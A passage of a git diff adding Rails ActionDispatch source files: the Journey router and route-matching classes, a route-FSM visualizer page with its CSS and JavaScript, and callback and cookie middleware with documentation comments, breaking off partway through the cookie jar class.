+
+ def optional_parts
+ path.optional_names.map { |n| n.to_sym }
+ end
+
+ def required_parts
+ @required_parts ||= path.required_names.map { |n| n.to_sym }
+ end
+
+ def required_default?(key)
+ (constraints[:required_defaults] || []).include?(key)
+ end
+
+ def required_defaults
+ @required_defaults ||= @defaults.dup.delete_if do |k,_|
+ parts.include?(k) || !required_default?(k)
+ end
+ end
+
+ def matches?(request)
+ constraints.all? do |method, value|
+ next true unless request.respond_to?(method)
+
+ case value
+ when Regexp, String
+ value === request.send(method).to_s
+ when Array
+ value.include?(request.send(method))
+ when TrueClass
+ request.send(method).present?
+ when FalseClass
+ request.send(method).blank?
+ else
+ value === request.send(method)
+ end
+ end
+ end
+
+ def ip
+ constraints[:ip] || //
+ end
+
+ def verb
+ constraints[:request_method] || //
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/router.rb b/actionpack/lib/action_dispatch/journey/router.rb
new file mode 100644
index 0000000..419e665
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/router.rb
@@ -0,0 +1,166 @@
+require 'action_dispatch/journey/router/utils'
+require 'action_dispatch/journey/router/strexp'
+require 'action_dispatch/journey/routes'
+require 'action_dispatch/journey/formatter'
+
+before = $-w
+$-w = false
+require 'action_dispatch/journey/parser'
+$-w = before
+
+require 'action_dispatch/journey/route'
+require 'action_dispatch/journey/path/pattern'
+
+module ActionDispatch
+ module Journey # :nodoc:
+ class Router # :nodoc:
+ class RoutingError < ::StandardError # :nodoc:
+ end
+
+ # :nodoc:
+ VERSION = '2.0.0'
+
+ class NullReq # :nodoc:
+ attr_reader :env
+ def initialize(env)
+ @env = env
+ end
+
+ def request_method
+ env['REQUEST_METHOD']
+ end
+
+ def path_info
+ env['PATH_INFO']
+ end
+
+ def ip
+ env['REMOTE_ADDR']
+ end
+
+ def [](k)
+ env[k]
+ end
+ end
+
+ attr_reader :request_class, :formatter
+ attr_accessor :routes
+
+ def initialize(routes, options)
+ @options = options
+ @params_key = options[:parameters_key]
+ @request_class = options[:request_class] || NullReq
+ @routes = routes
+ end
+
+ def call(env)
+ env['PATH_INFO'] = Utils.normalize_path(env['PATH_INFO'])
+
+ find_routes(env).each do |match, parameters, route|
+ script_name, path_info, set_params = env.values_at('SCRIPT_NAME',
+ 'PATH_INFO',
+ @params_key)
+
+ unless route.path.anchored
+ env['SCRIPT_NAME'] = (script_name.to_s + match.to_s).chomp('/')
+ env['PATH_INFO'] = match.post_match
+ end
+
+ env[@params_key] = (set_params || {}).merge parameters
+
+ status, headers, body = route.app.call(env)
+
+ if 'pass' == headers['X-Cascade']
+ env['SCRIPT_NAME'] = script_name
+ env['PATH_INFO'] = path_info
+ env[@params_key] = set_params
+ next
+ end
+
+ return [status, headers, body]
+ end
+
+ return [404, {'X-Cascade' => 'pass'}, ['Not Found']]
+ end
+
+ def recognize(req)
+ find_routes(req.env).each do |match, parameters, route|
+ unless route.path.anchored
+ req.env['SCRIPT_NAME'] = match.to_s
+ req.env['PATH_INFO'] = match.post_match.sub(/^([^\/])/, '/\1')
+ end
+
+ yield(route, nil, parameters)
+ end
+ end
+
+ def visualizer
+ tt = GTG::Builder.new(ast).transition_table
+ groups = partitioned_routes.first.map(&:ast).group_by { |a| a.to_s }
+ asts = groups.values.map { |v| v.first }
+ tt.visualizer(asts)
+ end
+
+ private
+
+ def partitioned_routes
+ routes.partitioned_routes
+ end
+
+ def ast
+ routes.ast
+ end
+
+ def simulator
+ routes.simulator
+ end
+
+ def custom_routes
+ partitioned_routes.last
+ end
+
+ def filter_routes(path)
+ return [] unless ast
+ data = simulator.match(path)
+ data ? data.memos : []
+ end
+
+ def find_routes env
+ req = request_class.new(env)
+
+ routes = filter_routes(req.path_info).concat custom_routes.find_all { |r|
+ r.path.match(req.path_info)
+ }
+ routes.concat get_routes_as_head(routes)
+
+ routes.sort_by!(&:precedence).select! { |r| r.matches?(req) }
+
+ routes.map! { |r|
+ match_data = r.path.match(req.path_info)
+ match_names = match_data.names.map { |n| n.to_sym }
+ match_values = match_data.captures.map { |v| v && Utils.unescape_uri(v) }
+ info = Hash[match_names.zip(match_values).find_all { |_, y| y }]
+
+ [match_data, r.defaults.merge(info), r]
+ }
+ end
+
+ def get_routes_as_head(routes)
+ precedence = (routes.map(&:precedence).max || 0) + 1
+ routes = routes.select { |r|
+ r.verb === "GET" && !(r.verb === "HEAD")
+ }.map! { |r|
+ Route.new(r.name,
+ r.app,
+ r.path,
+ r.conditions.merge(request_method: "HEAD"),
+ r.defaults).tap do |route|
+ route.precedence = r.precedence + precedence
+ end
+ }
+ routes.flatten!
+ routes
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/router/strexp.rb b/actionpack/lib/action_dispatch/journey/router/strexp.rb
new file mode 100644
index 0000000..f97f1a2
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/router/strexp.rb
@@ -0,0 +1,24 @@
+module ActionDispatch
+ module Journey # :nodoc:
+ class Router # :nodoc:
+ class Strexp # :nodoc:
+ class << self
+ alias :compile :new
+ end
+
+ attr_reader :path, :requirements, :separators, :anchor
+
+ def initialize(path, requirements, separators, anchor = true)
+ @path = path
+ @requirements = requirements
+ @separators = separators
+ @anchor = anchor
+ end
+
+ def names
+ @path.scan(/:\w+/).map { |s| s.tr(':', '') }
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/router/utils.rb b/actionpack/lib/action_dispatch/journey/router/utils.rb
new file mode 100644
index 0000000..462f1a1
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/router/utils.rb
@@ -0,0 +1,54 @@
+require 'uri'
+
+module ActionDispatch
+ module Journey # :nodoc:
+ class Router # :nodoc:
+ class Utils # :nodoc:
+ # Normalizes URI path.
+ #
+ # Strips off trailing slash and ensures there is a leading slash.
+ #
+ # normalize_path("/foo") # => "/foo"
+ # normalize_path("/foo/") # => "/foo"
+ # normalize_path("foo") # => "/foo"
+ # normalize_path("") # => "/"
+ def self.normalize_path(path)
+ path = "/#{path}"
+ path.squeeze!('/')
+ path.sub!(%r{/+\Z}, '')
+ path = '/' if path == ''
+ path
+ end
+
+ # URI path and fragment escaping
+ # http://tools.ietf.org/html/rfc3986
+ module UriEscape # :nodoc:
+ # Symbol captures can generate multiple path segments, so include /.
+ reserved_segment = '/'
+ reserved_fragment = '/?'
+ reserved_pchar = ':@&=+$,;%'
+
+ safe_pchar = "#{URI::REGEXP::PATTERN::UNRESERVED}#{reserved_pchar}"
+ safe_segment = "#{safe_pchar}#{reserved_segment}"
+ safe_fragment = "#{safe_pchar}#{reserved_fragment}"
+ UNSAFE_SEGMENT = Regexp.new("[^#{safe_segment}]", false).freeze
+ UNSAFE_FRAGMENT = Regexp.new("[^#{safe_fragment}]", false).freeze
+ end
+
+ Parser = URI.const_defined?(:Parser) ? URI::Parser.new : URI
+
+ def self.escape_path(path)
+ Parser.escape(path.to_s, UriEscape::UNSAFE_SEGMENT)
+ end
+
+ def self.escape_fragment(fragment)
+ Parser.escape(fragment.to_s, UriEscape::UNSAFE_FRAGMENT)
+ end
+
+ def self.unescape_uri(uri)
+ Parser.unescape(uri)
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/routes.rb b/actionpack/lib/action_dispatch/journey/routes.rb
new file mode 100644
index 0000000..a99d6d0
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/routes.rb
@@ -0,0 +1,75 @@
+module ActionDispatch
+ module Journey # :nodoc:
+ # The Routing table. Contains all routes for a system. Routes can be
+ # added to the table by calling Routes#add_route.
+ class Routes # :nodoc:
+ include Enumerable
+
+ attr_reader :routes, :named_routes
+
+ def initialize
+ @routes = []
+ @named_routes = {}
+ @ast = nil
+ @partitioned_routes = nil
+ @simulator = nil
+ end
+
+ def length
+ routes.length
+ end
+ alias :size :length
+
+ def last
+ routes.last
+ end
+
+ def each(&block)
+ routes.each(&block)
+ end
+
+ def clear
+ routes.clear
+ end
+
+ def partitioned_routes
+ @partitioned_routes ||= routes.partition do |r|
+ r.path.anchored && r.ast.grep(Nodes::Symbol).all?(&:default_regexp?)
+ end
+ end
+
+ def ast
+ @ast ||= begin
+ asts = partitioned_routes.first.map(&:ast)
+ Nodes::Or.new(asts) unless asts.empty?
+ end
+ end
+
+ def simulator
+ @simulator ||= begin
+ gtg = GTG::Builder.new(ast).transition_table
+ GTG::Simulator.new(gtg)
+ end
+ end
+
+ # Add a route to the routing table.
+ def add_route(app, path, conditions, defaults, name = nil)
+ route = Route.new(name, app, path, conditions, defaults)
+
+ route.precedence = routes.length
+ routes << route
+ named_routes[name] = route if name && !named_routes[name]
+ clear_cache!
+ route
+ end
+
+ private
+
+ def clear_cache!
+ @ast = nil
+ @partitioned_routes = nil
+ @simulator = nil
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/scanner.rb b/actionpack/lib/action_dispatch/journey/scanner.rb
new file mode 100644
index 0000000..633be11
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/scanner.rb
@@ -0,0 +1,61 @@
+require 'strscan'
+
+module ActionDispatch
+ module Journey # :nodoc:
+ class Scanner # :nodoc:
+ def initialize
+ @ss = nil
+ end
+
+ def scan_setup(str)
+ @ss = StringScanner.new(str)
+ end
+
+ def eos?
+ @ss.eos?
+ end
+
+ def pos
+ @ss.pos
+ end
+
+ def pre_match
+ @ss.pre_match
+ end
+
+ def next_token
+ return if @ss.eos?
+
+ until token = scan || @ss.eos?; end
+ token
+ end
+
+ private
+
+ def scan
+ case
+ # /
+ when text = @ss.scan(/\//)
+ [:SLASH, text]
+ when text = @ss.scan(/\*\w+/)
+ [:STAR, text]
+ when text = @ss.scan(/\(/)
+ [:LPAREN, text]
+ when text = @ss.scan(/\)/)
+ [:RPAREN, text]
+ when text = @ss.scan(/\|/)
+ [:OR, text]
+ when text = @ss.scan(/\./)
+ [:DOT, text]
+ when text = @ss.scan(/:\w+/)
+ [:SYMBOL, text]
+ when text = @ss.scan(/[\w%\-~]+/)
+ [:LITERAL, text]
+ # any char
+ when text = @ss.scan(/./)
+ [:LITERAL, text]
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/visitors.rb b/actionpack/lib/action_dispatch/journey/visitors.rb
new file mode 100644
index 0000000..2964d80
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/visitors.rb
@@ -0,0 +1,197 @@
+# encoding: utf-8
+module ActionDispatch
+ module Journey # :nodoc:
+ module Visitors # :nodoc:
+ class Visitor # :nodoc:
+ DISPATCH_CACHE = Hash.new { |h,k|
+ h[k] = "visit_#{k}"
+ }
+
+ def accept(node)
+ visit(node)
+ end
+
+ private
+
+ def visit node
+ send(DISPATCH_CACHE[node.type], node)
+ end
+
+ def binary(node)
+ visit(node.left)
+ visit(node.right)
+ end
+ def visit_CAT(n); binary(n); end
+
+ def nary(node)
+ node.children.each { |c| visit(c) }
+ end
+ def visit_OR(n); nary(n); end
+
+ def unary(node)
+ visit(node.left)
+ end
+ def visit_GROUP(n); unary(n); end
+ def visit_STAR(n); unary(n); end
+
+ def terminal(node); end
+ %w{ LITERAL SYMBOL SLASH DOT }.each do |t|
+ class_eval %{ def visit_#{t}(n); terminal(n); end }, __FILE__, __LINE__
+ end
+ end
+
+ # Loop through the requirements AST
+ class Each < Visitor # :nodoc:
+ attr_reader :block
+
+ def initialize(block)
+ @block = block
+ end
+
+ def visit(node)
+ super
+ block.call(node)
+ end
+ end
+
+ class String < Visitor # :nodoc:
+ private
+
+ def binary(node)
+ [visit(node.left), visit(node.right)].join
+ end
+
+ def nary(node)
+ node.children.map { |c| visit(c) }.join '|'
+ end
+
+ def terminal(node)
+ node.left
+ end
+
+ def visit_GROUP(node)
+ "(#{visit(node.left)})"
+ end
+ end
+
+ class OptimizedPath < String # :nodoc:
+ private
+
+ def visit_GROUP(node)
+ ""
+ end
+ end
+
+ # Used for formatting urls (url_for)
+ class Formatter < Visitor # :nodoc:
+ attr_reader :options, :consumed
+
+ def initialize(options)
+ @options = options
+ @consumed = {}
+ end
+
+ private
+
+ def visit_GROUP(node)
+ if consumed == options
+ nil
+ else
+ route = visit(node.left)
+ route.include?("\0") ? nil : route
+ end
+ end
+
+ def terminal(node)
+ node.left
+ end
+
+ def binary(node)
+ [visit(node.left), visit(node.right)].join
+ end
+
+ def nary(node)
+ node.children.map { |c| visit(c) }.join
+ end
+
+ def visit_SYMBOL(node)
+ key = node.to_sym
+
+ if value = options[key]
+ consumed[key] = value
+ Router::Utils.escape_path(value)
+ else
+ "\0"
+ end
+ end
+ end
+
+ class Dot < Visitor # :nodoc:
+ def initialize
+ @nodes = []
+ @edges = []
+ end
+
+ def accept(node)
+ super
+ <<-eodot
+ digraph parse_tree {
+ size="8,5"
+ node [shape = none];
+ edge [dir = none];
+ #{@nodes.join "\n"}
+ #{@edges.join("\n")}
+ }
+ eodot
+ end
+
+ private
+
+ def binary(node)
+ node.children.each do |c|
+ @edges << "#{node.object_id} -> #{c.object_id};"
+ end
+ super
+ end
+
+ def nary(node)
+ node.children.each do |c|
+ @edges << "#{node.object_id} -> #{c.object_id};"
+ end
+ super
+ end
+
+ def unary(node)
+ @edges << "#{node.object_id} -> #{node.left.object_id};"
+ super
+ end
+
+ def visit_GROUP(node)
+ @nodes << "#{node.object_id} [label=\"()\"];"
+ super
+ end
+
+ def visit_CAT(node)
+ @nodes << "#{node.object_id} [label=\"○\"];"
+ super
+ end
+
+ def visit_STAR(node)
+ @nodes << "#{node.object_id} [label=\"*\"];"
+ super
+ end
+
+ def visit_OR(node)
+ @nodes << "#{node.object_id} [label=\"|\"];"
+ super
+ end
+
+ def terminal(node)
+ value = node.left
+
+ @nodes << "#{node.object_id} [label=\"#{value}\"];"
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/visualizer/fsm.css b/actionpack/lib/action_dispatch/journey/visualizer/fsm.css
new file mode 100644
index 0000000..50caeba
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/visualizer/fsm.css
@@ -0,0 +1,34 @@
+body {
+ font-family: "Helvetica Neue", Helvetica, Arial, Sans-Serif;
+ margin: 0;
+}
+
+h1 {
+ font-size: 2.0em; font-weight: bold; text-align: center;
+ color: white; background-color: black;
+ padding: 5px 0;
+ margin: 0 0 20px;
+}
+
+h2 {
+ text-align: center;
+ display: none;
+ font-size: 0.5em;
+}
+
+div#chart-2 {
+ height: 350px;
+}
+
+.clearfix {display: inline-block; }
+.input { overflow: show;}
+.instruction { color: #666; padding: 0 30px 20px; font-size: 0.9em}
+.instruction p { padding: 0 0 5px; }
+.instruction li { padding: 0 10px 5px; }
+
+.form { background: #EEE; padding: 20px 30px; border-radius: 5px; margin-left: auto; margin-right: auto; width: 500px; margin-bottom: 20px}
+.form p, .form form { text-align: center }
+.form form {padding: 0 10px 5px; }
+.form .fun_routes { font-size: 0.9em;}
+.form .fun_routes a { margin: 0 5px 0 0; }
+
diff --git a/actionpack/lib/action_dispatch/journey/visualizer/fsm.js b/actionpack/lib/action_dispatch/journey/visualizer/fsm.js
new file mode 100644
index 0000000..d9bcaef
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/visualizer/fsm.js
@@ -0,0 +1,134 @@
+function tokenize(input, callback) {
+ while(input.length > 0) {
+ callback(input.match(/^[\/\.\?]|[^\/\.\?]+/)[0]);
+ input = input.replace(/^[\/\.\?]|[^\/\.\?]+/, '');
+ }
+}
+
+var graph = d3.select("#chart-2 svg");
+var svg_edges = {};
+var svg_nodes = {};
+
+graph.selectAll("g.edge").each(function() {
+ var node = d3.select(this);
+ var index = node.select("title").text().split("->");
+ var left = parseInt(index[0]);
+ var right = parseInt(index[1]);
+
+ if(!svg_edges[left]) { svg_edges[left] = {} }
+ svg_edges[left][right] = node;
+});
+
+graph.selectAll("g.node").each(function() {
+ var node = d3.select(this);
+ var index = parseInt(node.select("title").text());
+ svg_nodes[index] = node;
+});
+
+function reset_graph() {
+ for(var key in svg_edges) {
+ for(var mkey in svg_edges[key]) {
+ var node = svg_edges[key][mkey];
+ var path = node.select("path");
+ var arrow = node.select("polygon");
+ path.style("stroke", "black");
+ arrow.style("stroke", "black").style("fill", "black");
+ }
+ }
+
+ for(var key in svg_nodes) {
+ var node = svg_nodes[key];
+ node.select('ellipse').style("fill", "white");
+ node.select('polygon').style("fill", "white");
+ }
+ return false;
+}
+
+function highlight_edge(from, to) {
+ var node = svg_edges[from][to];
+ var path = node.select("path");
+ var arrow = node.select("polygon");
+
+ path
+ .transition().duration(500)
+ .style("stroke", "green");
+
+ arrow
+ .transition().duration(500)
+ .style("stroke", "green").style("fill", "green");
+}
+
+function highlight_state(index, color) {
+ if(!color) { color = "green"; }
+
+ svg_nodes[index].select('ellipse')
+ .style("fill", "white")
+ .transition().duration(500)
+ .style("fill", color);
+}
+
+function highlight_finish(index) {
+ svg_nodes[index].select('polygon')
+ .style("fill", "while")
+ .transition().duration(500)
+ .style("fill", "blue");
+}
+
+function match(input) {
+ reset_graph();
+ var table = tt();
+ var states = [0];
+ var regexp_states = table['regexp_states'];
+ var string_states = table['string_states'];
+ var accepting = table['accepting'];
+
+ highlight_state(0);
+
+ tokenize(input, function(token) {
+ var new_states = [];
+ for(var key in states) {
+ var state = states[key];
+
+ if(string_states[state] && string_states[state][token]) {
+ var new_state = string_states[state][token];
+ highlight_edge(state, new_state);
+ highlight_state(new_state);
+ new_states.push(new_state);
+ }
+
+ if(regexp_states[state]) {
+ for(var key in regexp_states[state]) {
+ var re = new RegExp("^" + key + "$");
+ if(re.test(token)) {
+ var new_state = regexp_states[state][key];
+ highlight_edge(state, new_state);
+ highlight_state(new_state);
+ new_states.push(new_state);
+ }
+ }
+ }
+ }
+
+ if(new_states.length == 0) {
+ return;
+ }
+ states = new_states;
+ });
+
+ for(var key in states) {
+ var state = states[key];
+ if(accepting[state]) {
+ for(var mkey in svg_edges[state]) {
+ if(!regexp_states[mkey] && !string_states[mkey]) {
+ highlight_edge(state, mkey);
+ highlight_finish(mkey);
+ }
+ }
+ } else {
+ highlight_state(state, "red");
+ }
+ }
+
+ return false;
+}
+
diff --git a/actionpack/lib/action_dispatch/journey/visualizer/index.html.erb b/actionpack/lib/action_dispatch/journey/visualizer/index.html.erb
new file mode 100644
index 0000000..6aff109
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/visualizer/index.html.erb
@@ -0,0 +1,52 @@
+<!DOCTYPE html>
+<html>
+ <head>
+ <title><%= title %></title>
+ <link rel="stylesheet" href="https://raw.github.com/gist/1706081/af944401f75ea20515a02ddb3fb43d23ecb8c662/reset.css" type="text/css">
+ <style>
+ <% stylesheets.each do |style| %>
+ <%= style %>
+ <% end %>
+ </style>
+ <script src="https://raw.github.com/gist/1706081/df464722a05c3c2bec450b7b5c8240d9c31fa52d/d3.min.js" type="text/javascript"></script>
+ </head>
+ <body>
+ <div id="wrapper">
+ <h1>Routes FSM with NFA simulation</h1>
+ <div class="instruction form">
+ <p>
+ Type a route in to the box and click "simulate".
+ </p>
+ <form onsubmit="return match(this.route.value);">
+ <input type="text" size="30" name="route" value="/articles/new" />
+ <button>simulate</button>
+ <input type="reset" value="reset" onclick="return reset_graph();"/>
+ </form>
+ <p class="fun_routes">
+ Some fun routes to try:
+ <% fun_routes.each do |path| %>
+ <a href="#" onclick="document.forms[0].elements[0].value=this.text.replace(/^\s+|\s+$/g,''); return match(this.text.replace(/^\s+|\s+$/g,''));">
+ <%= path %>
+ </a>
+ <% end %>
+ </p>
+ </div>
+ <div class='chart' id='chart-2'>
+ <%= svg %>
+ </div>
+ <div class="instruction">
+ <p>
+ This is a FSM for a system that has the following routes:
+ </p>
+ <ul>
+ <% paths.each do |route| %>
+ <li><%= route %></li>
+ <% end %>
+ </ul>
+ </div>
+ </div>
+ <% javascripts.each do |js| %>
+ <script><%= js %></script>
+ <% end %>
+ </body>
+</html>
diff --git a/actionpack/lib/action_dispatch/middleware/callbacks.rb b/actionpack/lib/action_dispatch/middleware/callbacks.rb
new file mode 100644
index 0000000..852f1cf
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/callbacks.rb
@@ -0,0 +1,37 @@
+
+module ActionDispatch
+ # Provide callbacks to be executed before and after the request dispatch.
+ class Callbacks
+ include ActiveSupport::Callbacks
+
+ define_callbacks :call
+
+ class << self
+ delegate :to_prepare, :to_cleanup, :to => "ActionDispatch::Reloader"
+ end
+
+ def self.before(*args, &block)
+ set_callback(:call, :before, *args, &block)
+ end
+
+ def self.after(*args, &block)
+ set_callback(:call, :after, *args, &block)
+ end
+
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ error = nil
+ result = run_callbacks :call do
+ begin
+ @app.call(env)
+ rescue => error
+ end
+ end
+ raise error if error
+ result
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/cookies.rb b/actionpack/lib/action_dispatch/middleware/cookies.rb
new file mode 100644
index 0000000..5b914f2
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/cookies.rb
@@ -0,0 +1,498 @@
+require 'active_support/core_ext/hash/keys'
+require 'active_support/core_ext/module/attribute_accessors'
+require 'active_support/core_ext/object/blank'
+require 'active_support/key_generator'
+require 'active_support/message_verifier'
+
+module ActionDispatch
+ class Request < Rack::Request
+ def cookie_jar
+ env['action_dispatch.cookies'] ||= Cookies::CookieJar.build(self)
+ end
+ end
+
+ # \Cookies are read and written through ActionController#cookies.
+ #
+ # The cookies being read are the ones received along with the request, the cookies
+ # being written will be sent out with the response. Reading a cookie does not get
+ # the cookie object itself back, just the value it holds.
+ #
+ # Examples of writing:
+ #
+ # # Sets a simple session cookie.
+ # # This cookie will be deleted when the user's browser is closed.
+ # cookies[:user_name] = "david"
+ #
+ # # Assign an array of values to a cookie.
+ # cookies[:lat_lon] = [47.68, -122.37]
+ #
+ # # Sets a cookie that expires in 1 hour.
+ # cookies[:login] = { value: "XJ-122", expires: 1.hour.from_now }
+ #
+ # # Sets a signed cookie, which prevents users from tampering with its value.
+ # # The cookie is signed by your app's <tt>config.secret_key_base</tt> value.
+ # # It can be read using the signed method <tt>cookies.signed[:name]</tt>
+ # cookies.signed[:user_id] = current_user.id
+ #
+ # # Sets a "permanent" cookie (which expires in 20 years from now).
+ # cookies.permanent[:login] = "XJ-122"
+ #
+ # # You can also chain these methods:
+ # cookies.permanent.signed[:login] = "XJ-122"
+ #
+ # Examples of reading:
+ #
+ # cookies[:user_name] # => "david"
+ # cookies.size # => 2
+ # cookies[:lat_lon] # => [47.68, -122.37]
+ # cookies.signed[:login] # => "XJ-122"
+ #
+ # Example for deleting:
+ #
+ # cookies.delete :user_name
+ #
+ # Please note that if you specify a :domain when setting a cookie, you must also specify the domain when deleting the cookie:
+ #
+ # cookies[:name] = {
+ # value: 'a yummy cookie',
+ # expires: 1.year.from_now,
+ # domain: 'domain.com'
+ # }
+ #
+ # cookies.delete(:name, domain: 'domain.com')
+ #
+ # The option symbols for setting cookies are:
+ #
+ # * <tt>:value</tt> - The cookie's value or list of values (as an array).
+ # * <tt>:path</tt> - The path for which this cookie applies. Defaults to the root
+ # of the application.
+ # * <tt>:domain</tt> - The domain for which this cookie applies so you can
+ # restrict to the domain level. If you use a schema like www.example.com
+ # and want to share session with user.example.com set <tt>:domain</tt>
+ # to <tt>:all</tt>. Make sure to specify the <tt>:domain</tt> option with
+ # <tt>:all</tt> again when deleting cookies.
+ #
+ # domain: nil # Does not sets cookie domain. (default)
+ # domain: :all # Allow the cookie for the top most level
+ # domain and subdomains.
+ #
+ # * <tt>:expires</tt> - The time at which this cookie expires, as a \Time object.
+ # * <tt>:secure</tt> - Whether this cookie is a only transmitted to HTTPS servers.
+ # Default is +false+.
+ # * <tt>:httponly</tt> - Whether this cookie is accessible via scripting or
+ # only HTTP. Defaults to +false+.
+ class Cookies
+ HTTP_HEADER = "Set-Cookie".freeze
+ GENERATOR_KEY = "action_dispatch.key_generator".freeze
+ SIGNED_COOKIE_SALT = "action_dispatch.signed_cookie_salt".freeze
+ ENCRYPTED_COOKIE_SALT = "action_dispatch.encrypted_cookie_salt".freeze
+ ENCRYPTED_SIGNED_COOKIE_SALT = "action_dispatch.encrypted_signed_cookie_salt".freeze
+ SECRET_TOKEN = "action_dispatch.secret_token".freeze
+ SECRET_KEY_BASE = "action_dispatch.secret_key_base".freeze
+
+ # Cookies can typically store 4096 bytes.
+ MAX_COOKIE_SIZE = 4096
+
+ # Raised when storing more than 4K of session data.
+ CookieOverflow = Class.new StandardError
+
+ # Include in a cookie jar to allow chaining, e.g. cookies.permanent.signed
+ module ChainedCookieJars
+ # Returns a jar that'll automatically set the assigned cookies to have an expiration date 20 years from now. Example:
+ #
+ # cookies.permanent[:prefers_open_id] = true
+ # # => Set-Cookie: prefers_open_id=true; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
+ #
+ # This jar is only meant for writing. You'll read permanent cookies through the regular accessor.
+ #
+ # This jar allows chaining with the signed jar as well, so you can set permanent, signed cookies. Examples:
+ #
+ # cookies.permanent.signed[:remember_me] = current_user.id
+ # # => Set-Cookie: remember_me=BAhU--848956038e692d7046deab32b7131856ab20e14e; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
+ def permanent
+ @permanent ||= PermanentCookieJar.new(self, @key_generator, @options)
+ end
+
+ # Returns a jar that'll automatically generate a signed representation of cookie value and verify it when reading from
+ # the cookie again. This is useful for creating cookies with values that the user is not supposed to change. If a signed
+ # cookie was tampered with by the user (or a 3rd party), nil will be returned.
+ #
+ # If +config.secret_key_base+ and +config.secret_token+ (deprecated) are both set,
+ # legacy cookies signed with the old key generator will be transparently upgraded.
+ #
+ # This jar requires that you set a suitable secret for the verification on your app's +config.secret_key_base+.
+ #
+ # Example:
+ #
+ # cookies.signed[:discount] = 45
+ # # => Set-Cookie: discount=BAhpMg==--2c1c6906c90a3bc4fd54a51ffb41dffa4bf6b5f7; path=/
+ #
+ # cookies.signed[:discount] # => 45
+ def signed
+ @signed ||=
+ if @options[:upgrade_legacy_signed_cookies]
+ UpgradeLegacySignedCookieJar.new(self, @key_generator, @options)
+ else
+ SignedCookieJar.new(self, @key_generator, @options)
+ end
+ end
+
+ # Returns a jar that'll automatically encrypt cookie values before sending them to the client and will decrypt them for read.
+ # If the cookie was tampered with by the user (or a 3rd party), nil will be returned.
+ #
+ # If +config.secret_key_base+ and +config.secret_token+ (deprecated) are both set,
+ # legacy cookies signed with the old key generator will be transparently upgraded.
+ #
+ # This jar requires that you set a suitable secret for the verification on your app's +config.secret_key_base+.
+ #
+ # Example:
+ #
+ # cookies.encrypted[:discount] = 45
+ # # => Set-Cookie: discount=ZS9ZZ1R4cG1pcUJ1bm80anhQang3dz09LS1mbDZDSU5scGdOT3ltQ2dTdlhSdWpRPT0%3D--ab54663c9f4e3bc340c790d6d2b71e92f5b60315; path=/
+ #
+ # cookies.encrypted[:discount] # => 45
+ def encrypted
+ @encrypted ||=
+ if @options[:upgrade_legacy_signed_cookies]
+ UpgradeLegacyEncryptedCookieJar.new(self, @key_generator, @options)
+ else
+ EncryptedCookieJar.new(self, @key_generator, @options)
+ end
+ end
+
+ # Returns the +signed+ or +encrypted jar, preferring +encrypted+ if +secret_key_base+ is set.
+ # Used by ActionDispatch::Session::CookieStore to avoid the need to introduce new cookie stores.
+ def signed_or_encrypted
+ @signed_or_encrypted ||=
+ if @options[:secret_key_base].present?
+ encrypted
+ else
+ signed
+ end
+ end
+ end
+
+ module VerifyAndUpgradeLegacySignedMessage
+ def initialize(*args)
+ super
+ @legacy_verifier = ActiveSupport::MessageVerifier.new(@options[:secret_token])
+ end
+
+ def verify_and_upgrade_legacy_signed_message(name, signed_message)
+ @legacy_verifier.verify(signed_message).tap do |value|
+ self[name] = value
+ end
+ rescue ActiveSupport::MessageVerifier::InvalidSignature
+ nil
+ end
+ end
+
+ class CookieJar #:nodoc:
+ include Enumerable, ChainedCookieJars
+
+ # This regular expression is used to split the levels of a domain.
+ # The top level domain can be any string without a period or
+ # **.**, ***.** style TLDs like co.uk or com.au
+ #
+ # www.example.co.uk gives:
+ # $& => example.co.uk
+ #
+ # example.com gives:
+ # $& => example.com
+ #
+ # lots.of.subdomains.example.local gives:
+ # $& => example.local
+ DOMAIN_REGEXP = /[^.]*\.([^.]*|..\...|...\...)$/
+
+ def self.options_for_env(env) #:nodoc:
+ { signed_cookie_salt: env[SIGNED_COOKIE_SALT] || '',
+ encrypted_cookie_salt: env[ENCRYPTED_COOKIE_SALT] || '',
+ encrypted_signed_cookie_salt: env[ENCRYPTED_SIGNED_COOKIE_SALT] || '',
+ secret_token: env[SECRET_TOKEN],
+ secret_key_base: env[SECRET_KEY_BASE],
+ upgrade_legacy_signed_cookies: env[SECRET_TOKEN].present? && env[SECRET_KEY_BASE].present?
+ }
+ end
+
+ def self.build(request)
+ env = request.env
+ key_generator = env[GENERATOR_KEY]
+ options = options_for_env env
+
+ host = request.host
+ secure = request.ssl?
+
+ new(key_generator, host, secure, options).tap do |hash|
+ hash.update(request.cookies)
+ end
+ end
+
+ def initialize(key_generator, host = nil, secure = false, options = {})
+ @key_generator = key_generator
+ @set_cookies = {}
+ @delete_cookies = {}
+ @host = host
+ @secure = secure
+ @options = options
+ @cookies = {}
+ end
+
+ def each(&block)
+ @cookies.each(&block)
+ end
+
+ # Returns the value of the cookie by +name+, or +nil+ if no such cookie exists.
+ def [](name)
+ @cookies[name.to_s]
+ end
+
+ def fetch(name, *args, &block)
+ @cookies.fetch(name.to_s, *args, &block)
+ end
+
+ def key?(name)
+ @cookies.key?(name.to_s)
+ end
+ alias :has_key? :key?
+
+ def update(other_hash)
+ @cookies.update other_hash.stringify_keys
+ self
+ end
+
